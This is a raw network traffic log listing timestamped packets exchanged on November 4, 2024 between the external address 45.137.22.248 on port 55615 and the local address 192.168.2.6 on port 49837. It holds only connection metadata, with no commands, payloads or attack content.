Nov 4, 2024 04:32:24.458764076 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.458884001 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.458924055 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459065914 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459074974 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459172964 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459254980 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459331989 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459398985 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459486961 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459496975 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459554911 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459564924 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459575891 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459583998 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459629059 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459682941 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459692955 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459697008 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459702015 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459743977 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459799051 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459808111 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459815979 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459825993 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459870100 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459878922 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459893942 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459903002 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459923983 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459978104 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.459990025 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460043907 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460056067 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460063934 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460072994 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460081100 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460139990 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460149050 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460156918 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460165024 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460180044 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460189104 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460228920 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460264921 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460273027 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460280895 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460366964 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460376978 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460386038 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460395098 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460402966 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460412025 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460479021 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460488081 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460491896 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460495949 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460505009 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460514069 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460522890 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460530996 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460633039 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460643053 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460652113 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460659981 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460668087 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460678101 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460720062 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460728884 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460736990 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460753918 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460766077 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460773945 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460783005 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460799932 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460808992 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460818052 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460825920 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460834980 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460867882 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460876942 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460886002 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460895061 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460911989 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460922003 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460937977 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460947037 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460956097 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460972071 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.460998058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461008072 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461010933 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461050987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461064100 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461112976 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461122036 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461128950 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461138964 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461153030 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461163998 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461173058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461182117 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461190939 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461199999 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461209059 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461224079 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461232901 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461241007 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461294889 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461304903 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461312056 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461321115 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461338043 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461345911 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461354017 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461363077 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461371899 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461380005 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461389065 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461498976 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461508989 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461517096 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461525917 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461534023 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461541891 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461551905 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461560965 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461618900 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461627960 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461636066 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461644888 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461648941 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461652040 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461656094 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461663961 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461745024 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461754084 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461761951 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461771011 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461780071 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461787939 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461796045 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461806059 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461813927 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461822987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461867094 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461877108 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461884975 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461894989 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461903095 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461913109 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461920977 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461929083 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461937904 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461946964 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461988926 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.461997032 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462006092 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462014914 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462023973 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462030888 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462045908 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462055922 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462064981 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462074041 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462083101 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462093115 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462145090 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462155104 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462163925 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462174892 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462183952 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462191105 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462201118 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462208986 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462217093 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462225914 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462255955 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462265968 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462274075 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462282896 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462291956 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462301016 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462313890 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462322950 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462331057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462340117 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462384939 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462393999 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462403059 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462410927 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462419987 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462429047 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462438107 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462446928 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462455034 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462465048 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462506056 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462515116 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462522984 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462532043 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462542057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462552071 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462560892 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462569952 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462578058 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462587118 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462652922 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462662935 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462671041 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462681055 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462688923 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462698936 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462707043 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462717056 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462724924 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462769032 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462778091 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462785959 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462795019 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462805033 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462814093 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462821007 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462830067 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462837934 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462848902 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462857962 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462867975 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462877035 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462884903 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462893009 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462902069 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462910891 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462919950 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462928057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.462991953 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.463001013 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.463009119 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.463012934 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.463022947 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.463031054 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.463040113 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.463048935 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.463057041 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:24.504329920 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.678739071 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.690970898 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691361904 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691430092 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691489935 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691541910 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691600084 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691647053 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691690922 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691756010 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691797972 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691859961 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691906929 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.691963911 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.692013979 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.692074060 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.692123890 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.692178011 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.692223072 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.692276955 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.692323923 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.695869923 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696252108 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696309090 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696312904 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696320057 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696330070 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696362019 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696374893 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696381092 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696389914 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696412086 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696420908 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696445942 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696465015 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696475983 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696485043 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696521044 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696526051 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696537971 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696557045 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696578026 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696594954 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696619034 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696629047 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696631908 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696657896 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696666002 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696677923 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696686029 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696711063 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696727037 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696753979 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696762085 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696794033 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696816921 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696830034 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696841002 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696847916 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696851969 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696899891 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696922064 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696932077 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696935892 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696939945 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696960926 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696969032 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.696981907 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.696997881 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697007895 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697019100 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697025061 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697052002 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697061062 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697093964 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697103024 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697144985 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697175980 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697185040 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697228909 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697230101 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697238922 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697247982 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697273970 CET	55615	49837	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:25.697278976 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697298050 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697328091 CET	49837	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:25.697427988 CET	55615	49837	45.137.22.248	192.168.2.6
